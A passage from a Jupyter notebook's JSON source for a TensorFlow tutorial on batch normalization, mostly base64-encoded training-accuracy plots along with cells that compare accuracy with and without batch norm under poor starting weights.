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\n+CgXjhSGVLRN5XloUcsj4JepMHp2YDreh+yui5MnT9KxY0ff+7Fjx3Lo0CEqKip46qmnyMnJITc3\nl/LyctLT0xkwYAB5eXksXryYuXPnIiKkpaXx5ptvArBu3TrmzZvHkSNHeP755329HH9atmxJTk4O\n8+fP57nnnqv22YEDB3jsscc4duwYnTp1YtGiRVx99dVkZ2cTFxfH119/zU033URCQgL79+9n3759\nHDx4kPnz57NhwwY++ugjunTpwvvvv09sbOwlv3ukaFbhMwzDaBhehuyujczMTAYOHMitt97KrFmz\nfOkLFy5k8+bNbNq0iQULFlBWVsbs2bNp06YNW7ZsIS8vj+3btzNr1izWrFnD1q1beemll3zlDx8+\nzPr161m1ahW5ubl1ft8nnniCvLw8Tpw4US19ypQpPPLII2zbto3x48dXM24lJSV8/vnnzJs3D4Di\n4mLWrFnDypUreeihh8jMzKSwsJA2bdrwwQcfBNH64cV6DobRlKnjF359KI+ykN1du3YNyJefn09y\ncjLFxcXcdtttjBgxgvj4eBYsWMCKFSsAOHToEHv27OGqq66qVnbNmjWMGzfOF+/JPwz22LFjiYmJ\noX///hw9erROnQkJCUyYMIEFCxZU2y+ioKCA5cuXA/Dwww/zzDPP+D4bN25ctU2URo8eTWxsLKmp\nqVRWVpKVlQU48agOHDhQr/aKBGYcDMMIipohu7t168aLL75IQkICjz76aL3qCCbkNTj7GKSkpFBU\nVMTZs2dZvXo1BQUFtG3blhEjRjQo5Pbl4stNnTqVIUOG1Pu71RVyOyYmhtjYWETE9z6axyXMrWQY\nRlB4FbL7UpSWlrJ//366d+/OiRMn6NixI23btmXnzp3V9kmIjY31uahGjhzJ22+/TVlZGQDHjx8P\n6dxJSUncd999vP7667604cOHs2TJEgDy8vLIyMgI9atFLWYcDMMICq9CdtdGZmYm6enpZGZmMnv2\nbFJSUsjKyuL8+fP069eP3NzcajpycnJIS0tj/PjxDBgwgOnTp3PrrbcyaNAgnn766ZC/87Rp06rN\nWnr55ZdZtGiRb5DbfzzjikFVm9Truuuu01DJz88PuazXmLbQiGZtqt7oKyoqapR6Tp482Sj1eIFp\nC40qbbXdI8AmDeJZaz0HwzAMIwAzDoZhGEYAZhwMowmiHu7gaDRtGuveMONgGE2MuLg4ysrKzEAY\n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\nTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa6b131fd0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 2, tf.nn.sigmoid, 2000, 50)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In the rest of the examples, we use really bad starting weights. That is, normally we would use very small values close to zero. However, in these examples we choose randome values with a standard deviation of 5. If you were really training a neural network, you would **not** want to do this. But these examples demonstrate how batch normalization makes your network much more resilient. " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a ReLU activation function, a learning rate of 0.01, and bad starting weights.**" ] }, { "cell_type": "code", "execution_count": 14, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:43<00:00, 1147.21it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.0957999974489212\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:37<00:00, 515.05it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.7945998311042786\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.09799998998641968\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.7990000247955322\n" ] }, { "data": { "image/png": "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